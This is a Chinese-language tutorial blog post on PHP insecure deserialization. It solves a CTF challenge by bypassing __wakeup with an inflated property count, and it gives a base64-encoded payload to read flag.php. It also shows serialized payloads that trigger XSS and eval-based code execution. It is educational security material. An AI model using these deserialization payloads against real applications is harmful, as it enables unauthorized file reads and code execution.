渗透学习

不安全的反序列化之PHP反序列化


文章目录

  • 渗透学习
  • 前言
    • *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。*
  • 一、CTF例题
  • 二、PHP反序列化漏洞和XSS跨站脚本
  • 总结

前言

本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。

接上篇不安全的反序列化之反序列化基础用简单案例接触了PHP反序列化,但对该漏洞的利用和实际场景浅尝辄止 。这篇将会用代码审计的方式分析一道典型的存在PHP反序列化漏洞的案例,加深对魔术方法等相关知识的理解。另外,还会和xss跨站脚本的知识进行融合。

本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。

一、CTF例题

学习案例

class SoFun{ protected $file='index.php';function __destruct(){ if(!empty($this->file)) {if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);else      die('Wrong filename.');}}  function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}}     if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); }
?>   #<!--key in flag.php-->

代码审计:
根据提示,key在flag.php中,而想要获得文件中内容,只能靠语句show_source(dirname (__FILE__).'/'.$this ->file);
发现该题用到了__destruct等魔术方法,可以根据其性质进行漏洞利用(详见上一篇文章)
常规思路是利用反序列化的方式POST"file"参数将读取的文件从index.php替换成flag.php,然后利用__destruct的自动执行读取flag.php中的内容。
但是在反序列化执行时会自动执行__wakeup,其作用是将文件再设为index.php
解决方案:
显然我们需要利用一种方法绕过__wakeup方法,而当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。比如:
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。
Payload
根据上篇文章所学,易得反序列化语句为O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。
此题还需要一次Base64编码,结果为:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

该PHP反序列化漏洞的案例其实来源于16年SugarCRM v6.5.23中
SugarCRM(http://www.sugarcrm.com/ )是一套开源的客户关系管理系统。研究者发现在其<=6.5.23的版本中存在反序列化漏洞,程序对攻击者恶意构造的序列化数据进行了反序列化的处理,从而使攻击者可以在未授权状态下执行任意代码。
有兴趣的可以点击了解

二、PHP反序列化漏洞和XSS跨站脚本

当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss

<?php$a="test"; //字符串$arr = array('j' => 'jack' ,'r' => 'rose'); //数组class A{public $test="<img src=1 οnerrοr=alert(1)>";}echo "序列化:";echo "</br>";$aa=serialize($a);print_r($aa);echo "</br>";$arr_a=serialize($arr);print_r($arr_a);echo "</br>";$class1 = new A(); //对象$class_a=serialize($class1);print_r($class_a);echo "<br/>";echo "反序列化:";echo "<br/>";print_r(unserialize($aa));echo "</br>";print_r(unserialize($arr_a));echo "</br>";print_r(unserialize($class_a));
?>

执行结果:

在__wakeup中一样存在类似的漏洞:

<?php
class A{var $test = "demo";function __wakeup(){echo $this->test;}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

使用payload:O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}一样会造成XSS攻击

而如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行则会造成更严重的后果。
比如:

<?php
class A{var $test = "demo";function __wakeup(){eval($this->test);}
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

构造payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}即可获得php内置信息


总结

以上介绍了一道比较综合的CTF题目对PHP反序列化漏洞有一个更清晰化的认识,这道题难度不算高,但对代码审计能力有着一定的要求。

PHP反序列化CTF例题相关推荐

  1. CBC翻转攻击与实验吧CTF例题:简单的登录题

    CBC翻转攻击原理: 我认为,要更好更快的理解CBC翻转攻击,认识它的原理以及必要的密码学知识是必不可少的. 所以我们先离开题目,从密文的加密与解密说起: 下图是 密文加密过程: vi: 是用于随机化 ...

  2. .user.ini上传详解附CTF例题

    .user.ini上传详解附CTF例题 题目 解法 https://buuoj.cn/challenges#[SUCTF%202019]CheckIn [SUCTF 2019]CheckIn 题目 解 ...

  3. CTF中的PHP反序列化ALL IN ONE

    CTF中的PHP反序列化 1.反序列化的基础知识 什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法 php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞. ...

  4. PHP反序列化漏洞总结

    一. 基础知识 1.什么是反序列化漏洞: 程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较 ...

  5. CTF之web学习记录 -- 文件包含

    文件包含 概述 常见文件包含函数和原理 本地文件包含 远程文件包含 远程包含加问号截断 利用php://filter 利用php://input 序列化和反序列化 Java文件包含 CVE-2018- ...

  6. PHP session反序列化漏洞

    PHP session反序列化漏洞 PHP session反序列化漏洞,就是当[序列化存储Session数据]与[反序列化读取Session数据]的方式不同导致session反序列化漏洞的产生 什么是 ...

  7. CTF之web学习记录 -- 命令注入

    命令注入 概述 常见攻击方式 使用管道符号 escapeshellarg和escapeshellcmd 无参RCE 模板注入 命令执行漏洞修复 总结 概述   web服务器后端代码有时会调用一些执行系 ...

  8. 代换密码详解+CTF事例

    0x01 代换密码与置换密码 首先我们先不看代换密码的定义,通过代换密码和置换密码的区别来了解代换密码到底是什么 置换密码:是指明文中各字符的位置次序重新排列得到密文 代换密码:不同于置换密码,代换密 ...

  9. CTF密码学·置换密码,栅栏密码,曲路密码

    CTF密码学·置换密码,栅栏密码,曲路密码 1.置换密码 列置换 周期置换 2.栅栏密码 3.曲路密码 1.置换密码 置换密码(Permutation Cipher)又叫换位密码(Transposi- ...

最新文章

  1. python线程创建对象_Python线程下thread对象的用法介绍(附实例)
  2. 架构师必须掌握的各种编码:ASCII、ISO-8859-1、GB2312
  3. 23种设计模式之访问者模式
  4. python queue查询空_【Python】多线程爬虫案例
  5. mysql超大sql怎么还原_关于Mysql 大型SQL文件快速恢复方案
  6. 【转载】Kubernetes 加入Docker 平台,Mac和Windows开发者的福音
  7. 彩色手绘元宵节插画风素材图片
  8. SAP License:FICO重要概念(一)
  9. MYSQL - 存储过程学习笔记
  10. java适合年龄_Java实现三人年龄
  11. 10行代码搞定移动web端自定义tap事件
  12. matlab实现卷积操作
  13. 病毒木马查杀实战第008篇:熊猫烧香之病毒查杀总结
  14. 跨平台局域网文件传输工具——Dukto R5
  15. 《剑指offer》之知识汇总
  16. 八、管道弯头中流体混合流动与传热
  17. AD操作整理(部分)
  18. 《大江大河2》里这段精彩的博弈:没有对错,只有权衡
  19. 快速保存网页中所有图片的方法
  20. 华南理工大学数学专业考研试题参考解答

热门文章

  1. 2020年职业学计算机专业饱和,2020年计算机专业人才饱和?找不到工作了?传智专修学院告诉你答案...
  2. 利用python库stats进行t检验
  3. PMP考试英文报名申请中项目经验该怎样填写?
  4. 【Kubernetes】 DaemonSet 详解
  5. 鲜为人知且未充分利用的 CSS 功能
  6. 怎样用迅捷画图绘制高端大气的思维导图
  7. 【一起入门MachineLearning】中科院机器学习-期末题库-【单选题62,79,80】
  8. blah什么意思,blah
  9. BICOMB(书目共现分析系统软件)介绍、使用文献及下载
  10. 肉这么做越吃越瘦!鲜嫩多汁!每次只需 5 分钟,比叫外卖还快!